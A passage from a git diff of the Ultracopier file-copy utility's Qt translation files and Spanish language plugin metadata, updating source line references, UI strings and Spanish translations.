+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/es/flag.png b/plugins/Languages/es/flag.png
index 071c892..4cb4c0a 100644
--- a/plugins/Languages/es/flag.png
+++ b/plugins/Languages/es/flag.png
Binary files differ
diff --git a/plugins/Languages/es/informations.xml b/plugins/Languages/es/informations.xml
index ce79da6..c3884fb 100644
--- a/plugins/Languages/es/informations.xml
+++ b/plugins/Languages/es/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to spanish. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to spanish. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>es</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- =ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/es/translation.ts b/plugins/Languages/es/translation.ts
index 31253bf..b25dabe 100644
--- a/plugins/Languages/es/translation.ts
+++ b/plugins/Languages/es/translation.ts
@@ -4,77 +4,107 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
<translation>Advertencia</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
<translation>Ultracopier ya se está ejecutando, haga clic derecho sobre el icono de la bandeja del sistema (cerca del reloj) para poder utilizarlas</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
+ <translation>Problema al leer el archivo, o el tamaño del archivo es 0</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
+ <translation>Los argumentos posibles son:</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
+ <translation>Para mostrar las opciones</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>Para copiar las fuentes a destino, separados por un espacio. Si el destino es &quot;?&quot;, Ultracopier le preguntará al usuario</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>Para mover las fuentes de destino, separados por un espacio. Si el destino es &quot;?&quot;, Ultracopier le preguntará al usuario</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
+ <translation>Comando no válido</translation>
+ </message>
+ <message>
<source>Problem at the reading, or file size is null</source>
- <translation>Problema en la lectura, o el tamaño del archivo es nulo</translation>
+ <translation type="obsolete">Problema en la lectura, o el tamaño del archivo es nulo</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
<source>This file is not supported transfer list</source>
<translation>Este archivo no es compatible con lista de transferencias</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
<source>Unable to open the transfer list file</source>
<translation>No se puede abrir el archivo de lista de transferencias</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
<source>The arguments possibles are:</source>
- <translation>Los posibles argumentos son los siguientes:</translation>
+ <translation type="obsolete">Los posibles argumentos son los siguientes:</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
- <translation>Para que esta ayuda</translation>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation>Para mostrar esta ayuda</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
- <translation>Para salir de la carrera otra instancia (si tiene)</translation>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
+ <translation>Para salir de los otros casos (si está activo)</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
- <translation>Para pasar lista de transferencias que hacer</translation>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
+ <translation>Abrir lista de transferencias</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
- <translation>Para copiar las fuentes separados por un espacio de destino. Si el destino es &quot;?&quot;, Ultracopier lo pida el usuario</translation>
+ <source>To quit the other instance running (if have)</source>
+ <translation type="obsolete">Para salir de la carrera otra instancia (si tiene)</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
- <translation>Movimiento Igual que el anterior, pero con</translation>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <translation type="obsolete">Para copiar las fuentes a destino, separados por un espacio. Si el destino es &quot;?&quot;, Ultracopier va a pedir al usuario</translation>
+ </message>
+ <message>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <translation type="obsolete">Para mover fuentes de destino, separados por un espacio. Si el destino es &quot;?&quot;, Ultracopier va a pedir al usuario</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
<source>Command line not understand</source>
- <translation>La línea de comandos que no entiendo</translation>
+ <translation type="obsolete">La línea de comandos que no entiendo</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation>Ayuda</translation>
</message>
@@ -82,329 +112,407 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
<translation>Advertencia</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<source>Cannot find any copy engine with motions support</source>
- <translation>No se puede encontrar cualquier motor de copia con movimientos de apoyo a</translation>
+ <translation type="obsolete">No se puede encontrar cualquier motor de copia con movimientos de apoyo a</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
<source>Cannot find any compatible engine!</source>
<translation>No se puede encontrar un motor compatible!</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
<source>This copy engine does not support motions</source>
- <translation>Este motor de copia no es compatible con los movimientos</translation>
+ <translation type="obsolete">Este motor de copia no es compatible con los movimientos</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
<translation>No se puede encontrar un motor con este nombre: %1</translation>
</message>
</context>
<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation>Error</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation>Error durante la recepción de la lista de copia / movimiento
+%1</translation>
+ </message>
+</context>
+<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation>Error</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
<translation>No se puede obtener una instancia de motor de copia</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation>No se puede obtener una instancia del motor</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation>El argumento para el modo no es válida</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation>¿Quieres copiar? Si no, se puede mover.</translation>
+ </message>
+ <message>
<source>The argument for the mode is not understand</source>
- <translation>El argumento para el modo no se entiende</translation>
+ <translation type="obsolete">El argumento para el modo no se entiende</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
<translation>No se puede cargar la interfaz, copia abortados</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
<translation>No se puede cargar el motor de copia, copia abortados</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation>Modo de transferencia</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
- <translation>¿Quieres hacer una copia? Porque si usted contesta que no, que se moverá.</translation>
+ <source>Do you want to copy? If you reply no, it will be moved.</source>
+ <translation type="obsolete">¿Quieres copiar? Si responde que no, que se moverá.</translation>
+ </message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
+ <translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
<translation>Motor de copia</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation>Copia</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
+ <extracomment>a move</extracomment>
<translation>Movimiento</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation>Pausa</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
<translation>Resumen</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
<translation>Salto</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation>Ilimitado</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation>s</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation>Demasiado grande</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation>B</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation>KB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation>MB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation>GB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation>TB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation>PB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation>EB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation>ZB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation>YB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
<translation>Menos de %10 segundos</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation>Alrededor de %10 segundos restantes</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation>Alrededor de %1 minutos restantes</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
<translation>Alrededor de %1 las horas restantes</translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation>Transferencia</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation>Iniciar</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation>Origen</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation>Tamaño</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation>Destino</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation>Abandonar</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation>Objetivo</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation>Tiempo restante:</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation>Listado</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation>Copia</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation>Listado y copia</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation>Pedir</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation>Sobrescribir</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation>Sobrescribir si nuevo</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation>Sobrescribir si las fechas de modificación últimos son diferentes</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation>Cambiar el nombre</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
+ <translation>Ponga al final de la lista</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation>Terminado en %1</translation>
+ </message>
+ <message>
<source>Put to end of the list</source>
- <translation>Poner a final de la lista</translation>
+ <translation type="obsolete">Poner a final de la lista</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation>Seleccione el directorio de origen</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation>Seleccione el directorio de destino</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation>Error interno</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation>Seleccione uno o varios archivos para abrirlos</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation>Todos los archivos</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation>Guardar lista de transferencias</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation>Abrir lista de transferencias</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation>Lista de transferencia</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation>Error</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation>No es compatible con esta plataforma</translation>
</message>
@@ -412,67 +520,93 @@
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
- <translation>A propósito de ultracopier</translation>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
+ <translation>Acerca Ultracopier</translation>
</message>
<message>
